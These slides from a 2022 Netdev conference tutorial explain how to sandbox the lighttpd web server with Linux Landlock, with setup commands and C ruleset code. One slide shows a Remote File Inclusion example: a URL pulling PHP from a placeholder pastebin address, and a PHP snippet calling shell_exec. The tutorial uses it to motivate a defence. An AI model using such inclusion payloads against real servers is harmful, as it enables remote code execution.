Microsoft

How to sandbox a network application with Landlock

Netdev Conference 0x16

Mickaël Salaün

2022-10-24

Sandboxing a network application

Landlock is available in mainline since 2021 (Linux 5.13), but with some limitations due to the iterative approach.

Landlock is now enabled by default on multiple distros: Ubuntu 22.04 LTS, Fedora 35, Arch Linux, Alpine Linux, Gentoo, chromeOS, CBL-Mariner, WSL2

This tutorial is about the steps to sandbox a network application, illustrated with *lighttpd* and an experimental Landlock feature.

Initial tutorial setup

Vagrant setup 1/2 (cf. email)

```
# Specific to Arch Linux
sudo pacman -S vagrant libvirt base-devel dnsmask
sudo systemctl enable --now libvirtd.service

vagrant plugin install vagrant-libvirt
vagrant plugin install vagrant-scp

# Generic
mkdir landlock
cd landlock
vagrant init archlinux/archlinux
vagrant up
```

Vagrant setup 2/2

```
# Already in ~/landlock
vagrant halt
vagrant snapshot push

git clone https://github.com/landlock-lsm/tuto-netdevconf-2022 scripts

vagrant up
vagrant ssh
```

Guest setup 1/2

/vagrant/scripts/setup.sh

```
# We'll see the second part later.
```

Sandboxing with Landlock

Developers and users

It is assumed that with enough skills and time, most applications could be compromised.

Problem (as developers):

- We don’t want to participate to malicious actions through our software because of security bug exploitation.
- We have a responsibility for users, especially to protect their (personal) data: every **running app/service increases** (user) **attack surface**.

Sandboxing

A security approach to **isolate** a software component **from the rest of the system**. Namespaces/containers are not considered security sandboxes per see, but tools to “virtualize” resources.

An innocuous and trusted process can become malicious during its **lifetime** because of bugs exploited by attackers.

Sandbox properties:

- Follow the least privilege principle
- Innocuous and composable security policies

What is Landlock?

Landlock is an access control system available to **unprivileged** processes on Linux, thanks to 3 dedicated syscalls.

It enables developers to add **built-in** application **sandboxing**.

Useful as-is and still in gaining new features.

Filesystem and network access-control

Filesystem restrictions

Access-control rights:

- Execute, read or write to a file
- List a directory or remove files
- Create files according to their type
- Rename or link files

File hierarchy identification: ephemeral inode tagging

Network restrictions

Goal: **restrict** sandboxed processes and **protect** outside ones; not a system-wide firewall:

- Applications (developers) know protocols and (configured) ports ⇒ what
- but probably not IP addresses (e.g., local network, NAT, IPv4/IPv6) resolved with DNS ⇒ who

Minimal app-centric firewall to control:

- Bindings to TCP ports
- Connections to TCP ports

In-review patch series: could be in Linux 6.2+ (feedback appreciated)

Main developer: Konstantin Meskhidze (Huawei)

Implementing sandboxing

How to patch an application?

1. Define the threat model: which data is trusted or untrusted?
2. Identify the complex parts of the code: where there is a good chance to find bugs?
3. Identify and patch the configuration handling to infer a security policy.
4. Identify and patch the most generic places to enforce the security policy for the rest of the lifetime of the thread.

Application compatibility

Forward compatibility for applications is handled by the kernel development process.

Backward compatibility for applications is the responsibility of their developers.

Each new Landlock feature increments the ABI version, which is useful to leverage available features in a **best-effort security** approach.

Step 1: Check the Landlock ABI

```
int abi = landlock_create_ruleset(NULL, 0, LANDLOCK_CREATE_RULESET_VERSION);

if (abi < 0)
    return 0;
```

Step 2: Create a ruleset

```
int ruleset_fd;
struct landlock_ruleset_attr ruleset_attr = {
    .handled_access_fs =
        LANDLOCK_ACCESS_FS_EXECUTE |
        LANDLOCK_ACCESS_FS_WRITE_FILE |
        […]
        LANDLOCK_ACCESS_FS_MAKE_REG,
};

ruleset_fd = landlock_create_ruleset(&ruleset_attr, sizeof(ruleset_attr), 0);
if (ruleset_fd < 0)
    error_exit("Failed to create a ruleset");
```

Step 3: Add rules

```
int err;
struct landlock_path_beneath_attr path_beneath = {
    .allowed_access = LANDLOCK_ACCESS_FS_EXECUTE | […] ,
};

path_beneath.parent_fd = open("/usr", O_PATH | O_CLOEXEC);
if (path_beneath.parent_fd < 0)
    error_exit("Failed to open file");

err = landlock_add_rule(ruleset_fd, LANDLOCK_RULE_PATH_BENEATH, &path_beneath, 0);
close(path_beneath.parent_fd);
if (err)
    error_exit("Failed to update ruleset");
```

Step 4: Enforce the ruleset

```
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0))
    error_exit("Failed to restrict privileges");

if (landlock_restrict_self(ruleset_fd, 0))
    error_exit("Failed to enforce ruleset");

close(ruleset_fd);
```

Full example: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/samples/landlock/sandboxer.c

Let’s patch lighttpd!

Scenario

Let’s say a web server is running with vulnerable PHP pages.

Sandboxing the web server can help mitigate the impact of such vulnerability: e.g. deny server outbound connections

lighttpd

Relatively simple web server

To build, patch and test it, we are using Vagrant with an Arch Linux VM.

Warning: This tutorial focuses on TCP sandboxing of lighttpd for a common use case; because of time constraint it will **not** be **exhaustive**.

Tutorial steps

1. Set up the build environment
2. Get the source
3. Look at the configuration format
4. Find the sweet spot to restrict the process
5. Patch
6. Install
7. Test

Vulnerability

http://192.168.121.227/?content=month.php

What could go wrong?

Remote File Inclusion vulnerability:

http://192.168.121.227/?content=https://pastebin.com/raw/XXX

```
<?php
shell_exec("something malicious");
?>
```

Guest setup 2/2

```
asp update
asp checkout lighttpd

cd lighttpd/trunk
gpg --import keys/gpg/*.asc
makepkg --syncdeps
```

Steps to patch lighttpd

1. Declare the Landlock syscalls
2. Look where the TCP port binding is done (configuration: *server.port*)
3. Add a ruleset FD to the server struct
4. Restrict main process
5. Make it really unprivileged

Build and install the patched lighttpd

```
# Patch source code, cf. solution/*.patch
vim -o src/lighttpd-*/src/{network,server}.c

# Install without build checks because of some CGI tests
makepkg -efi --nocheck

# Restart and check the RFI attack
sudo systemctl restart lighttpd.service
sudo journalctl -fu lighttpd.service
sudo tail -F /var/log/lighttpd/error.log
```

Wrap-up

lighttpd patch

- Use the native web server configuration:
  - Transparent for users
  - Well integrated with all supported use cases
- Quick to implement a first PoC
- Quicker when we already know the app code

Landlock roadmap

Next steps:

- Add audit features to ease debugging
- New access-control types
- Improve kernel performance

Contribute

- Develop new (kernel) features (e.g., new access types)
- Write new tests (e.g., kunit)
- Challenge the implementation
- Improve documentation
- **Sandbox your applications** and others'

Any though?

- Is handling port range worth it?
- How to meaningfully and efficiently restrict UDP?
- What if we only handle *bind*, *recvfrom*, *sendto* and deny “unconnected” UDP?
- What about other protocols?
- What about other socket types (e.g., *vsock*)?

Questions?

https://docs.kernel.org/userspace-api/landlock.html

Past talks: https://landlock.io

landlock@lists.linux.dev

Thank you!